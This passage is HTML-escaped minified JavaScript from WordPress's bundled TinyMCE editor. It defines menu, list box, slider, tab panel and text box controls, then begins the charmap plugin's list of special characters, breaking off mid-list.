class=&quot;&#039;+i+&#039;txt&quot;&gt;&#039;+t.encode(o)+&quot;&lt;/span&gt;&quot;),r=t.settings.icon?i+&quot;ico &quot;+i+&quot;i-&quot;+r:&quot;&quot;,t.aria(&quot;role&quot;,t.parent()instanceof tr?&quot;menuitem&quot;:&quot;button&quot;),&#039;&lt;div id=&quot;&#039;+n+&#039;&quot; class=&quot;&#039;+t.classes+&#039;&quot; tabindex=&quot;-1&quot; aria-labelledby=&quot;&#039;+n+&#039;&quot;&gt;&lt;button id=&quot;&#039;+n+&#039;-open&quot; role=&quot;presentation&quot; type=&quot;button&quot; tabindex=&quot;-1&quot;&gt;&#039;+(r?&#039;&lt;i class=&quot;&#039;+r+&#039;&quot;&#039;+e+&quot;&gt;&lt;/i&gt;&quot;:&quot;&quot;)+s+&#039; &lt;i class=&quot;&#039;+i+&#039;caret&quot;&gt;&lt;/i&gt;&lt;/button&gt;&lt;/div&gt;&#039;},postRender:function(){var r=this;return r.on(&quot;click&quot;,function(e){e.control===r&amp;&amp;function(e,t){for(;e;){if(t===e)return!0;e=e.parentNode}return!1}(e.target,r.getEl())&amp;&amp;(r.focus(),r.showMenu(!e.aria),e.aria&amp;&amp;r.menu.items().filter(&quot;:visible&quot;)[0].focus())}),r.on(&quot;mouseenter&quot;,function(e){var t,n=e.control,i=r.parent();n&amp;&amp;i&amp;&amp;n instanceof nr&amp;&amp;n.parent()===i&amp;&amp;(i.items().filter(&quot;MenuButton&quot;).each(function(e){e.hideMenu&amp;&amp;e!==n&amp;&amp;(e.menu&amp;&amp;e.menu.visible()&amp;&amp;(t=!0),e.hideMenu())}),t&amp;&amp;(n.focus(),n.showMenu()))}),r._super()},bindStates:function(){var e=this;return e.state.on(&quot;change:menu&quot;,function(){e.menu&amp;&amp;e.menu.remove(),e.menu=null}),e._super()},remove:function(){this._super(),this.menu&amp;&amp;this.menu.remove()}}),ir=Ct.extend({Defaults:{defaultType:&quot;menuitem&quot;,border:1,layout:&quot;stack&quot;,role:&quot;application&quot;,bodyRole:&quot;menu&quot;,ariaRoot:!0},init:function(e){if(e.autohide=!0,e.constrainToViewport=!0,&quot;function&quot;==typeof e.items&amp;&amp;(e.itemsFactory=e.items,e.items=[]),e.itemDefaults)for(var t=e.items,n=t.length;n--;)t[n]=w.extend({},e.itemDefaults,t[n]);this._super(e),this.classes.add(&quot;menu&quot;),e.animate&amp;&amp;11!==ce.ie&amp;&amp;this.classes.add(&quot;animate&quot;)},repaint:function(){return this.classes.toggle(&quot;menu-align&quot;,!0),this._super(),this.getEl().style.height=&quot;&quot;,this.getEl(&quot;body&quot;).style.height=&quot;&quot;,this},cancel:function(){this.hideAll(),this.fire(&quot;select&quot;)},load:function(){var t,n=this;function i(){n.throbber&amp;&amp;(n.throbber.hide(),n.throbber=null)}n.settings.itemsFactory&amp;&amp;(n.throbber||(n.throbber=new Ht(n.getEl(&quot;body&quot;),!0),0===n.items().length?(n.throbber.show(),n.fire(&quot;loading&quot;)):n.throbber.show(100,function(){n.items().remove(),n.fire(&quot;loading&quot;)}),n.on(&quot;hide close&quot;,i)),n.requestTime=t=(new Date).getTime(),n.settings.itemsFactory(function(e){0!==e.length?n.requestTime===t&amp;&amp;(n.getEl().style.width=&quot;&quot;,n.getEl(&quot;body&quot;).style.width=&quot;&quot;,i(),n.items().remove(),n.getEl(&quot;body&quot;).innerHTML=&quot;&quot;,n.add(e),n.renderNew(),n.fire(&quot;loaded&quot;)):n.hide()}))},hideAll:function(){return this.find(&quot;menuitem&quot;).exec(&quot;hideMenu&quot;),this._super()},preRender:function(){var n=this;return n.items().each(function(e){var t=e.settings;if(t.icon||t.image||t.selectable)return!(n._hasIcons=!0)}),n.settings.itemsFactory&amp;&amp;n.on(&quot;postrender&quot;,function(){n.settings.itemsFactory&amp;&amp;n.load()}),n.on(&quot;show hide&quot;,function(e){e.control===n&amp;&amp;(&quot;show&quot;===e.type?u.setTimeout(function(){n.classes.add(&quot;in&quot;)},0):n.classes.remove(&quot;in&quot;))}),n._super()}}),rr=nr.extend({init:function(i){var t,r,o,n,s=this;s._super(i),i=s.settings,s._values=t=i.values,t&amp;&amp;(&quot;undefined&quot;!=typeof i.value&amp;&amp;function e(t){for(var n=0;n&lt;t.length;n++){if(r=t[n].selected||i.value===t[n].value)return o=o||t[n].text,s.state.set(&quot;value&quot;,t[n].value),!0;if(t[n].menu&amp;&amp;e(t[n].menu))return!0}}(t),!r&amp;&amp;0&lt;t.length&amp;&amp;(o=t[0].text,s.state.set(&quot;value&quot;,t[0].value)),s.state.set(&quot;menu&quot;,t)),s.state.set(&quot;text&quot;,i.text||o),s.classes.add(&quot;listbox&quot;),s.on(&quot;select&quot;,function(e){var t=e.control;n&amp;&amp;(e.lastControl=n),i.multiple?t.active(!t.active()):s.value(e.control.value()),n=t})},value:function(n){return 0===arguments.length?this.state.get(&quot;value&quot;):(void 0===n||(this.settings.values&amp;&amp;!function t(e){return J(e,function(e){return e.menu?t(e.menu):e.value===n})}(this.settings.values)?null===n&amp;&amp;this.state.set(&quot;value&quot;,null):this.state.set(&quot;value&quot;,n)),this)},bindStates:function(){var i=this;return i.on(&quot;show&quot;,function(e){var t,n;t=e.control,n=i.value(),t instanceof ir&amp;&amp;t.items().each(function(e){e.hasMenus()||e.active(e.value()===n)})}),i.state.on(&quot;change:value&quot;,function(t){var n=function e(t,n){var i;if(t)for(var r=0;r&lt;t.length;r++){if(t[r].value===n)return t[r];if(t[r].menu&amp;&amp;(i=e(t[r].menu,n)))return i}}(i.state.get(&quot;menu&quot;),t.value);n?i.text(n.text):i.text(i.settings.text)}),i._super()}}),or=Nt.extend({Defaults:{border:0,role:&quot;menuitem&quot;},init:function(e){var t,n=this;n._super(e),e=n.settings,n.classes.add(&quot;menu-item&quot;),e.menu&amp;&amp;n.classes.add(&quot;menu-item-expand&quot;),e.preview&amp;&amp;n.classes.add(&quot;menu-item-preview&quot;),&quot;-&quot;!==(t=n.state.get(&quot;text&quot;))&amp;&amp;&quot;|&quot;!==t||(n.classes.add(&quot;menu-item-sep&quot;),n.aria(&quot;role&quot;,&quot;separator&quot;),n.state.set(&quot;text&quot;,&quot;-&quot;)),e.selectable&amp;&amp;(n.aria(&quot;role&quot;,&quot;menuitemcheckbox&quot;),n.classes.add(&quot;menu-item-checkbox&quot;),e.icon=&quot;selected&quot;),e.preview||e.selectable||n.classes.add(&quot;menu-item-normal&quot;),n.on(&quot;mousedown&quot;,function(e){e.preventDefault()}),e.menu&amp;&amp;!e.ariaHideMenu&amp;&amp;n.aria(&quot;haspopup&quot;,!0)},hasMenus:function(){return!!this.settings.menu},showMenu:function(){var t,n=this,e=n.settings,i=n.parent();if(i.items().each(function(e){e!==n&amp;&amp;e.hideMenu()}),e.menu){(t=n.menu)?t.show():((t=e.menu).length?t={type:&quot;menu&quot;,items:t}:t.type=t.type||&quot;menu&quot;,i.settings.itemDefaults&amp;&amp;(t.itemDefaults=i.settings.itemDefaults),(t=n.menu=v.create(t).parent(n).renderTo()).reflow(),t.on(&quot;cancel&quot;,function(e){e.stopPropagation(),n.focus(),t.hide()}),t.on(&quot;show hide&quot;,function(e){e.control.items&amp;&amp;e.control.items().each(function(e){e.active(e.settings.selected)})}).fire(&quot;show&quot;),t.on(&quot;hide&quot;,function(e){e.control===t&amp;&amp;n.classes.remove(&quot;selected&quot;)}),t.submenu=!0),t._parentMenu=i,t.classes.add(&quot;menu-sub&quot;);var r=t.testMoveRel(n.getEl(),n.isRtl()?[&quot;tl-tr&quot;,&quot;bl-br&quot;,&quot;tr-tl&quot;,&quot;br-bl&quot;]:[&quot;tr-tl&quot;,&quot;br-bl&quot;,&quot;tl-tr&quot;,&quot;bl-br&quot;]);t.moveRel(n.getEl(),r),r=&quot;menu-sub-&quot;+(t.rel=r),t.classes.remove(t._lastRel).add(r),t._lastRel=r,n.classes.add(&quot;selected&quot;),n.aria(&quot;expanded&quot;,!0)}},hideMenu:function(){var e=this;return e.menu&amp;&amp;(e.menu.items().each(function(e){e.hideMenu&amp;&amp;e.hideMenu()}),e.menu.hide(),e.aria(&quot;expanded&quot;,!1)),e},renderHtml:function(){var e,t=this,n=t._id,i=t.settings,r=t.classPrefix,o=t.state.get(&quot;text&quot;),s=t.settings.icon,a=&quot;&quot;,l=i.shortcut,u=t.encode(i.url);function c(e){return e.replace(/[.*+?^${}()|[\]\\]/g,&quot;\\$&amp;&quot;)}function d(e){var t=i.match||&quot;&quot;;return t?e.replace(new RegExp(c(t),&quot;gi&quot;),function(e){return&quot;!mce~match[&quot;+e+&quot;]mce~match!&quot;}):e}function f(e){return e.replace(new RegExp(c(&quot;!mce~match[&quot;),&quot;g&quot;),&quot;&lt;b&gt;&quot;).replace(new RegExp(c(&quot;]mce~match!&quot;),&quot;g&quot;),&quot;&lt;/b&gt;&quot;)}return s&amp;&amp;t.parent().classes.add(&quot;menu-has-icons&quot;),i.image&amp;&amp;(a=&quot; style=\&quot;background-image: url(&#039;&quot;+i.image+&quot;&#039;)\&quot;&quot;),l&amp;&amp;(l=function(e){var t,n,i={};for(i=ce.mac?{alt:&quot;&amp;#x2325;&quot;,ctrl:&quot;&amp;#x2318;&quot;,shift:&quot;&amp;#x21E7;&quot;,meta:&quot;&amp;#x2318;&quot;}:{meta:&quot;Ctrl&quot;},e=e.split(&quot;+&quot;),t=0;t&lt;e.length;t++)(n=i[e[t].toLowerCase()])&amp;&amp;(e[t]=n);return e.join(&quot;+&quot;)}(l)),s=r+&quot;ico &quot;+r+&quot;i-&quot;+(t.settings.icon||&quot;none&quot;),e=&quot;-&quot;!==o?&#039;&lt;i class=&quot;&#039;+s+&#039;&quot;&#039;+a+&quot;&gt;&lt;/i&gt;\xa0&quot;:&quot;&quot;,o=f(t.encode(d(o))),u=f(t.encode(d(u))),&#039;&lt;div id=&quot;&#039;+n+&#039;&quot; class=&quot;&#039;+t.classes+&#039;&quot; tabindex=&quot;-1&quot;&gt;&#039;+e+(&quot;-&quot;!==o?&#039;&lt;span id=&quot;&#039;+n+&#039;-text&quot; class=&quot;&#039;+r+&#039;text&quot;&gt;&#039;+o+&quot;&lt;/span&gt;&quot;:&quot;&quot;)+(l?&#039;&lt;div id=&quot;&#039;+n+&#039;-shortcut&quot; class=&quot;&#039;+r+&#039;menu-shortcut&quot;&gt;&#039;+l+&quot;&lt;/div&gt;&quot;:&quot;&quot;)+(i.menu?&#039;&lt;div class=&quot;&#039;+r+&#039;caret&quot;&gt;&lt;/div&gt;&#039;:&quot;&quot;)+(u?&#039;&lt;div class=&quot;&#039;+r+&#039;menu-item-link&quot;&gt;&#039;+u+&quot;&lt;/div&gt;&quot;:&quot;&quot;)+&quot;&lt;/div&gt;&quot;},postRender:function(){var t=this,n=t.settings,e=n.textStyle;if(&quot;function&quot;==typeof e&amp;&amp;(e=e.call(this)),e){var i=t.getEl(&quot;text&quot;);i&amp;&amp;(i.setAttribute(&quot;style&quot;,e),t._textStyle=e)}return t.on(&quot;mouseenter click&quot;,function(e){e.control===t&amp;&amp;(n.menu||&quot;click&quot;!==e.type?(t.showMenu(),e.aria&amp;&amp;t.menu.focus(!0)):(t.fire(&quot;select&quot;),u.requestAnimationFrame(function(){t.parent().hideAll()})))}),t._super(),t},hover:function(){return this.parent().items().each(function(e){e.classes.remove(&quot;selected&quot;)}),this.classes.toggle(&quot;selected&quot;,!0),this},active:function(e){return function(e,t){var n=e._textStyle;if(n){var i=e.getEl(&quot;text&quot;);i.setAttribute(&quot;style&quot;,n),t&amp;&amp;(i.style.color=&quot;&quot;,i.style.backgroundColor=&quot;&quot;)}}(this,e),void 0!==e&amp;&amp;this.aria(&quot;checked&quot;,e),this._super(e)},remove:function(){this._super(),this.menu&amp;&amp;this.menu.remove()}}),sr=Kt.extend({Defaults:{classes:&quot;radio&quot;,role:&quot;radio&quot;}}),ar=Nt.extend({renderHtml:function(){var e=this,t=e.classPrefix;return e.classes.add(&quot;resizehandle&quot;),&quot;both&quot;===e.settings.direction&amp;&amp;e.classes.add(&quot;resizehandle-both&quot;),e.canFocus=!1,&#039;&lt;div id=&quot;&#039;+e._id+&#039;&quot; class=&quot;&#039;+e.classes+&#039;&quot;&gt;&lt;i class=&quot;&#039;+t+&quot;ico &quot;+t+&#039;i-resize&quot;&gt;&lt;/i&gt;&lt;/div&gt;&#039;},postRender:function(){var t=this;t._super(),t.resizeDragHelper=new ct(this._id,{start:function(){t.fire(&quot;ResizeStart&quot;)},drag:function(e){&quot;both&quot;!==t.settings.direction&amp;&amp;(e.deltaX=0),t.fire(&quot;Resize&quot;,e)},stop:function(){t.fire(&quot;ResizeEnd&quot;)}})},remove:function(){return this.resizeDragHelper&amp;&amp;this.resizeDragHelper.destroy(),this._super()}});function lr(e){var t=&quot;&quot;;if(e)for(var n=0;n&lt;e.length;n++)t+=&#039;&lt;option value=&quot;&#039;+e[n]+&#039;&quot;&gt;&#039;+e[n]+&quot;&lt;/option&gt;&quot;;return t}var ur=Nt.extend({Defaults:{classes:&quot;selectbox&quot;,role:&quot;selectbox&quot;,options:[]},init:function(e){var n=this;n._super(e),n.settings.size&amp;&amp;(n.size=n.settings.size),n.settings.options&amp;&amp;(n._options=n.settings.options),n.on(&quot;keydown&quot;,function(e){var t;13===e.keyCode&amp;&amp;(e.preventDefault(),n.parents().reverse().each(function(e){if(e.toJSON)return t=e,!1}),n.fire(&quot;submit&quot;,{data:t.toJSON()}))})},options:function(e){return arguments.length?(this.state.set(&quot;options&quot;,e),this):this.state.get(&quot;options&quot;)},renderHtml:function(){var e,t=this,n=&quot;&quot;;return e=lr(t._options),t.size&amp;&amp;(n=&#039; size = &quot;&#039;+t.size+&#039;&quot;&#039;),&#039;&lt;select id=&quot;&#039;+t._id+&#039;&quot; class=&quot;&#039;+t.classes+&#039;&quot;&#039;+n+&quot;&gt;&quot;+e+&quot;&lt;/select&gt;&quot;},bindStates:function(){var t=this;return t.state.on(&quot;change:options&quot;,function(e){t.getEl().innerHTML=lr(e.value)}),t._super()}});function cr(e,t,n){return e&lt;t&amp;&amp;(e=t),n&lt;e&amp;&amp;(e=n),e}function dr(e,t,n){e.setAttribute(&quot;aria-&quot;+t,n)}function fr(e,t){var n,i,r,o,s;&quot;v&quot;===e.settings.orientation?(r=&quot;top&quot;,i=&quot;height&quot;,n=&quot;h&quot;):(r=&quot;left&quot;,i=&quot;width&quot;,n=&quot;w&quot;),s=e.getEl(&quot;handle&quot;),o=((e.layoutRect()[n]||100)-we.getSize(s)[i])*((t-e._minValue)/(e._maxValue-e._minValue))+&quot;px&quot;,s.style[r]=o,s.style.height=e.layoutRect().h+&quot;px&quot;,dr(s,&quot;valuenow&quot;,t),dr(s,&quot;valuetext&quot;,&quot;&quot;+e.settings.previewFilter(t)),dr(s,&quot;valuemin&quot;,e._minValue),dr(s,&quot;valuemax&quot;,e._maxValue)}var hr=Nt.extend({init:function(e){var t=this;e.previewFilter||(e.previewFilter=function(e){return Math.round(100*e)/100}),t._super(e),t.classes.add(&quot;slider&quot;),&quot;v&quot;===e.orientation&amp;&amp;t.classes.add(&quot;vertical&quot;),t._minValue=$(e.minValue)?e.minValue:0,t._maxValue=$(e.maxValue)?e.maxValue:100,t._initValue=t.state.get(&quot;value&quot;)},renderHtml:function(){var e=this._id,t=this.classPrefix;return&#039;&lt;div id=&quot;&#039;+e+&#039;&quot; class=&quot;&#039;+this.classes+&#039;&quot;&gt;&lt;div id=&quot;&#039;+e+&#039;-handle&quot; class=&quot;&#039;+t+&#039;slider-handle&quot; role=&quot;slider&quot; tabindex=&quot;-1&quot;&gt;&lt;/div&gt;&lt;/div&gt;&#039;},reset:function(){this.value(this._initValue).repaint()},postRender:function(){var e,t,n,i,r,o,s,a,l,u,c,d,f,h,m=this;e=m._minValue,t=m._maxValue,&quot;v&quot;===m.settings.orientation?(n=&quot;screenY&quot;,i=&quot;top&quot;,r=&quot;height&quot;,o=&quot;h&quot;):(n=&quot;screenX&quot;,i=&quot;left&quot;,r=&quot;width&quot;,o=&quot;w&quot;),m._super(),function(o,s){function t(e){var t,n,i,r;t=cr(t=(((t=m.value())+(r=n=o))/((i=s)-r)+.05*e)*(i-n)-n,o,s),m.value(t),m.fire(&quot;dragstart&quot;,{value:t}),m.fire(&quot;drag&quot;,{value:t}),m.fire(&quot;dragend&quot;,{value:t})}m.on(&quot;keydown&quot;,function(e){switch(e.keyCode){case 37:case 38:t(-1);break;case 39:case 40:t(1)}})}(e,t),s=e,a=t,l=m.getEl(&quot;handle&quot;),m._dragHelper=new ct(m._id,{handle:m._id+&quot;-handle&quot;,start:function(e){u=e[n],c=parseInt(m.getEl(&quot;handle&quot;).style[i],10),d=(m.layoutRect()[o]||100)-we.getSize(l)[r],m.fire(&quot;dragstart&quot;,{value:h})},drag:function(e){var t=e[n]-u;f=cr(c+t,0,d),l.style[i]=f+&quot;px&quot;,h=s+f/d*(a-s),m.value(h),m.tooltip().text(&quot;&quot;+m.settings.previewFilter(h)).show().moveRel(l,&quot;bc tc&quot;),m.fire(&quot;drag&quot;,{value:h})},stop:function(){m.tooltip().hide(),m.fire(&quot;dragend&quot;,{value:h})}})},repaint:function(){this._super(),fr(this,this.value())},bindStates:function(){var t=this;return t.state.on(&quot;change:value&quot;,function(e){fr(t,e.value)}),t._super()}}),mr=Nt.extend({renderHtml:function(){return this.classes.add(&quot;spacer&quot;),this.canFocus=!1,&#039;&lt;div id=&quot;&#039;+this._id+&#039;&quot; class=&quot;&#039;+this.classes+&#039;&quot;&gt;&lt;/div&gt;&#039;}}),gr=nr.extend({Defaults:{classes:&quot;widget btn splitbtn&quot;,role:&quot;button&quot;},repaint:function(){var e,t,n=this.getEl(),i=this.layoutRect();return this._super(),e=n.firstChild,t=n.lastChild,ye(e).css({width:i.w-we.getSize(t).width,height:i.h-2}),ye(t).css({height:i.h-2}),this},activeMenu:function(e){ye(this.getEl().lastChild).toggleClass(this.classPrefix+&quot;active&quot;,e)},renderHtml:function(){var e,t,n=this,i=n._id,r=n.classPrefix,o=n.state.get(&quot;icon&quot;),s=n.state.get(&quot;text&quot;),a=n.settings,l=&quot;&quot;;return(e=a.image)?(o=&quot;none&quot;,&quot;string&quot;!=typeof e&amp;&amp;(e=_.window.getSelection?e[0]:e[1]),e=&quot; style=\&quot;background-image: url(&#039;&quot;+e+&quot;&#039;)\&quot;&quot;):e=&quot;&quot;,o=a.icon?r+&quot;ico &quot;+r+&quot;i-&quot;+o:&quot;&quot;,s&amp;&amp;(n.classes.add(&quot;btn-has-text&quot;),l=&#039;&lt;span class=&quot;&#039;+r+&#039;txt&quot;&gt;&#039;+n.encode(s)+&quot;&lt;/span&gt;&quot;),t=&quot;boolean&quot;==typeof a.active?&#039; aria-pressed=&quot;&#039;+a.active+&#039;&quot;&#039;:&quot;&quot;,&#039;&lt;div id=&quot;&#039;+i+&#039;&quot; class=&quot;&#039;+n.classes+&#039;&quot; role=&quot;button&quot;&#039;+t+&#039; tabindex=&quot;-1&quot;&gt;&lt;button type=&quot;button&quot; hidefocus=&quot;1&quot; tabindex=&quot;-1&quot;&gt;&#039;+(o?&#039;&lt;i class=&quot;&#039;+o+&#039;&quot;&#039;+e+&quot;&gt;&lt;/i&gt;&quot;:&quot;&quot;)+l+&#039;&lt;/button&gt;&lt;button type=&quot;button&quot; class=&quot;&#039;+r+&#039;open&quot; hidefocus=&quot;1&quot; tabindex=&quot;-1&quot;&gt;&#039;+(n._menuBtnText?(o?&quot;\xa0&quot;:&quot;&quot;)+n._menuBtnText:&quot;&quot;)+&#039; &lt;i class=&quot;&#039;+r+&#039;caret&quot;&gt;&lt;/i&gt;&lt;/button&gt;&lt;/div&gt;&#039;},postRender:function(){var n=this.settings.onclick;return this.on(&quot;click&quot;,function(e){var t=e.target;if(e.control===this)for(;t;){if(e.aria&amp;&amp;&quot;down&quot;!==e.aria.key||&quot;BUTTON&quot;===t.nodeName&amp;&amp;-1===t.className.indexOf(&quot;open&quot;))return e.stopImmediatePropagation(),void(n&amp;&amp;n.call(this,e));t=t.parentNode}}),delete this.settings.onclick,this._super()}}),pr=xi.extend({Defaults:{containerClass:&quot;stack-layout&quot;,controlClass:&quot;stack-layout-item&quot;,endClass:&quot;break&quot;},isNative:function(){return!0}}),vr=pt.extend({Defaults:{layout:&quot;absolute&quot;,defaults:{type:&quot;panel&quot;}},activateTab:function(n){var e;this.activeTabId&amp;&amp;(e=this.getEl(this.activeTabId),ye(e).removeClass(this.classPrefix+&quot;active&quot;),e.setAttribute(&quot;aria-selected&quot;,&quot;false&quot;)),this.activeTabId=&quot;t&quot;+n,(e=this.getEl(&quot;t&quot;+n)).setAttribute(&quot;aria-selected&quot;,&quot;true&quot;),ye(e).addClass(this.classPrefix+&quot;active&quot;),this.items()[n].show().fire(&quot;showtab&quot;),this.reflow(),this.items().each(function(e,t){n!==t&amp;&amp;e.hide()})},renderHtml:function(){var i=this,e=i._layout,r=&quot;&quot;,o=i.classPrefix;return i.preRender(),e.preRender(i),i.items().each(function(e,t){var n=i._id+&quot;-t&quot;+t;e.aria(&quot;role&quot;,&quot;tabpanel&quot;),e.aria(&quot;labelledby&quot;,n),r+=&#039;&lt;div id=&quot;&#039;+n+&#039;&quot; class=&quot;&#039;+o+&#039;tab&quot; unselectable=&quot;on&quot; role=&quot;tab&quot; aria-controls=&quot;&#039;+e._id+&#039;&quot; aria-selected=&quot;false&quot; tabIndex=&quot;-1&quot;&gt;&#039;+i.encode(e.settings.title)+&quot;&lt;/div&gt;&quot;}),&#039;&lt;div id=&quot;&#039;+i._id+&#039;&quot; class=&quot;&#039;+i.classes+&#039;&quot; hidefocus=&quot;1&quot; tabindex=&quot;-1&quot;&gt;&lt;div id=&quot;&#039;+i._id+&#039;-head&quot; class=&quot;&#039;+o+&#039;tabs&quot; role=&quot;tablist&quot;&gt;&#039;+r+&#039;&lt;/div&gt;&lt;div id=&quot;&#039;+i._id+&#039;-body&quot; class=&quot;&#039;+i.bodyClasses+&#039;&quot;&gt;&#039;+e.renderHtml(i)+&quot;&lt;/div&gt;&lt;/div&gt;&quot;},postRender:function(){var i=this;i._super(),i.settings.activeTab=i.settings.activeTab||0,i.activateTab(i.settings.activeTab),this.on(&quot;click&quot;,function(e){var t=e.target.parentNode;if(t&amp;&amp;t.id===i._id+&quot;-head&quot;)for(var n=t.childNodes.length;n--;)t.childNodes[n]===e.target&amp;&amp;i.activateTab(n)})},initLayoutRect:function(){var e,t,n,i=this;t=(t=we.getSize(i.getEl(&quot;head&quot;)).width)&lt;0?0:t,n=0,i.items().each(function(e){t=Math.max(t,e.layoutRect().minW),n=Math.max(n,e.layoutRect().minH)}),i.items().each(function(e){e.settings.x=0,e.settings.y=0,e.settings.w=t,e.settings.h=n,e.layoutRect({x:0,y:0,w:t,h:n})});var r=we.getSize(i.getEl(&quot;head&quot;)).height;return i.settings.minWidth=t,i.settings.minHeight=n+r,(e=i._super()).deltaH+=r,e.innerH=e.h-e.deltaH,e}}),br=Nt.extend({init:function(e){var n=this;n._super(e),n.classes.add(&quot;textbox&quot;),e.multiline?n.classes.add(&quot;multiline&quot;):(n.on(&quot;keydown&quot;,function(e){var t;13===e.keyCode&amp;&amp;(e.preventDefault(),n.parents().reverse().each(function(e){if(e.toJSON)return t=e,!1}),n.fire(&quot;submit&quot;,{data:t.toJSON()}))}),n.on(&quot;keyup&quot;,function(e){n.state.set(&quot;value&quot;,e.target.value)}))},repaint:function(){var e,t,n,i,r,o=this,s=0;e=o.getEl().style,t=o._layoutRect,r=o._lastRepaintRect||{};var a=_.document;return!o.settings.multiline&amp;&amp;a.all&amp;&amp;(!a.documentMode||a.documentMode&lt;=8)&amp;&amp;(e.lineHeight=t.h-s+&quot;px&quot;),i=(n=o.borderBox).left+n.right+8,s=n.top+n.bottom+(o.settings.multiline?8:0),t.x!==r.x&amp;&amp;(e.left=t.x+&quot;px&quot;,r.x=t.x),t.y!==r.y&amp;&amp;(e.top=t.y+&quot;px&quot;,r.y=t.y),t.w!==r.w&amp;&amp;(e.width=t.w-i+&quot;px&quot;,r.w=t.w),t.h!==r.h&amp;&amp;(e.height=t.h-s+&quot;px&quot;,r.h=t.h),o._lastRepaintRect=r,o.fire(&quot;repaint&quot;,{},!1),o},renderHtml:function(){var t,e,n=this,i=n.settings;return t={id:n._id,hidefocus:&quot;1&quot;},w.each([&quot;rows&quot;,&quot;spellcheck&quot;,&quot;maxLength&quot;,&quot;size&quot;,&quot;readonly&quot;,&quot;min&quot;,&quot;max&quot;,&quot;step&quot;,&quot;list&quot;,&quot;pattern&quot;,&quot;placeholder&quot;,&quot;required&quot;,&quot;multiple&quot;],function(e){t[e]=i[e]}),n.disabled()&amp;&amp;(t.disabled=&quot;disabled&quot;),i.subtype&amp;&amp;(t.type=i.subtype),(e=we.create(i.multiline?&quot;textarea&quot;:&quot;input&quot;,t)).value=n.state.get(&quot;value&quot;),e.className=n.classes.toString(),e.outerHTML},value:function(e){return arguments.length?(this.state.set(&quot;value&quot;,e),this):(this.state.get(&quot;rendered&quot;)&amp;&amp;this.state.set(&quot;value&quot;,this.getEl().value),this.state.get(&quot;value&quot;))},postRender:function(){var t=this;t.getEl().value=t.state.get(&quot;value&quot;),t._super(),t.$el.on(&quot;change&quot;,function(e){t.state.set(&quot;value&quot;,e.target.value),t.fire(&quot;change&quot;,e)})},bindStates:function(){var t=this;return t.state.on(&quot;change:value&quot;,function(e){t.getEl().value!==e.value&amp;&amp;(t.getEl().value=e.value)}),t.state.on(&quot;change:disabled&quot;,function(e){t.getEl().disabled=e.value}),t._super()},remove:function(){this.$el.off(),this._super()}}),yr=function(){return{Selector:Ie,Collection:Ve,ReflowQueue:Ke,Control:rt,Factory:v,KeyboardNavigation:st,Container:lt,DragHelper:ct,Scrollable:gt,Panel:pt,Movable:He,Resizable:vt,FloatPanel:Ct,Window:It,MessageBox:Yt,Tooltip:Mt,Widget:Nt,Progress:Pt,Notification:Dt,Layout:qt,AbsoluteLayout:Xt,Button:jt,ButtonGroup:Gt,Checkbox:Kt,ComboBox:Qt,ColorBox:en,PanelButton:tn,ColorButton:rn,ColorPicker:sn,Path:ln,ElementPath:un,FormItem:cn,Form:dn,FieldSet:fn,FilePicker:vi,FitLayout:bi,FlexLayout:yi,FlowLayout:xi,FormatControls:Ji,GridLayout:Gi,Iframe:Ki,InfoBox:Zi,Label:Qi,Toolbar:er,MenuBar:tr,MenuButton:nr,MenuItem:or,Throbber:Ht,Menu:ir,ListBox:rr,Radio:sr,ResizeHandle:ar,SelectBox:ur,Slider:hr,Spacer:mr,SplitButton:gr,StackLayout:pr,TabPanel:vr,TextBox:br,DropZone:an,BrowseButton:Jt}},xr=function(n){n.ui?w.each(yr(),function(e,t){n.ui[t]=e}):n.ui=yr()};w.each(yr(),function(e,t){v.add(t,e)}),xr(window.tinymce?window.tinymce:{}),r.add(&quot;modern&quot;,function(e){return Ji.setup(e),$t(e)})}(window);
// Source: wp-includes/js/tinymce/plugins/charmap/plugin.min.js
!function(){&quot;use strict&quot;;var e=tinymce.util.Tools.resolve(&quot;tinymce.PluginManager&quot;),i=function(e,t){return e.fire(&quot;insertCustomChar&quot;,{chr:t})},l=function(e,t){var a=i(e,t).chr;e.execCommand(&quot;mceInsertContent&quot;,!1,a)},a=tinymce.util.Tools.resolve(&quot;tinymce.util.Tools&quot;),r=function(e){return e.settings.charmap},n=function(e){return e.settings.charmap_append},o=a.isArray,c=function(e){return o(e)?[].concat((t=e,a.grep(t,function(e){return o(e)&amp;&amp;2===e.length}))):&quot;function&quot;==typeof e?e():[];var t},s=function(e){return function(e,t){var a=r(e);a&amp;&amp;(t=c(a));var i=n(e);return i?[].concat(t).concat(c(i)):t}(e,[[&quot;160&quot;,&quot;no-break space&quot;],[&quot;173&quot;,&quot;soft hyphen&quot;],[&quot;34&quot;,&quot;quotation mark&quot;],[&quot;162&quot;,&quot;cent sign&quot;],[&quot;8364&quot;,&quot;euro sign&quot;],[&quot;163&quot;,&quot;pound sign&quot;],[&quot;165&quot;,&quot;yen sign&quot;],[&quot;169&quot;,&quot;copyright sign&quot;],[&quot;174&quot;,&quot;registered sign&quot;],[&quot;8482&quot;,&quot;trade mark sign&quot;],[&quot;8240&quot;,&quot;per mille sign&quot;],[&quot;181&quot;,&quot;micro sign&quot;],[&quot;183&quot;,&quot;middle dot&quot;],[&quot;8226&quot;,&quot;bullet&quot;],[&quot;8230&quot;,&quot;three dot leader&quot;],[&quot;8242&quot;,&quot;minutes / feet&quot;],[&quot;8243&quot;,&quot;seconds / inches&quot;],[&quot;167&quot;,&quot;section sign&quot;],[&quot;182&quot;,&quot;paragraph sign&quot;],[&quot;223&quot;,&quot;sharp s / ess-zed&quot;],[&quot;8249&quot;,&quot;single left-pointing angle quotation mark&quot;],[&quot;8250&quot;,&quot;single right-pointing angle quotation mark&quot;],[&quot;171&quot;,&quot;left pointing guillemet&quot;],[&quot;187&quot;,&quot;right pointing guillemet&quot;],[&quot;8216&quot;,&quot;left single quotation mark&quot;],[&quot;8217&quot;,&quot;right single quotation mark&quot;],[&quot;8220&quot;,&quot;left double quotation mark&quot;],[&quot;8221&quot;,&quot;right double quotation mark&quot;],[&quot;8218&quot;,&quot;single low-9 quotation mark&quot;],[&quot;8222&quot;,&quot;double low-9 quotation mark&quot;],[&quot;60&quot;,&quot;less-than sign&quot;],[&quot;62&quot;,&quot;greater-than sign&quot;],[&quot;8804&quot;,&quot;less-than or equal to&quot;],[&quot;8805&quot;,&quot;greater-than or equal to&quot;],[&quot;8211&quot;,&quot;en dash&quot;],[&quot;8212&quot;,&quot;em dash&quot;],[&quot;175&quot;,&quot;macron&quot;],[&quot;8254&quot;,&quot;overline&quot;],[&quot;164&quot;,&quot;currency 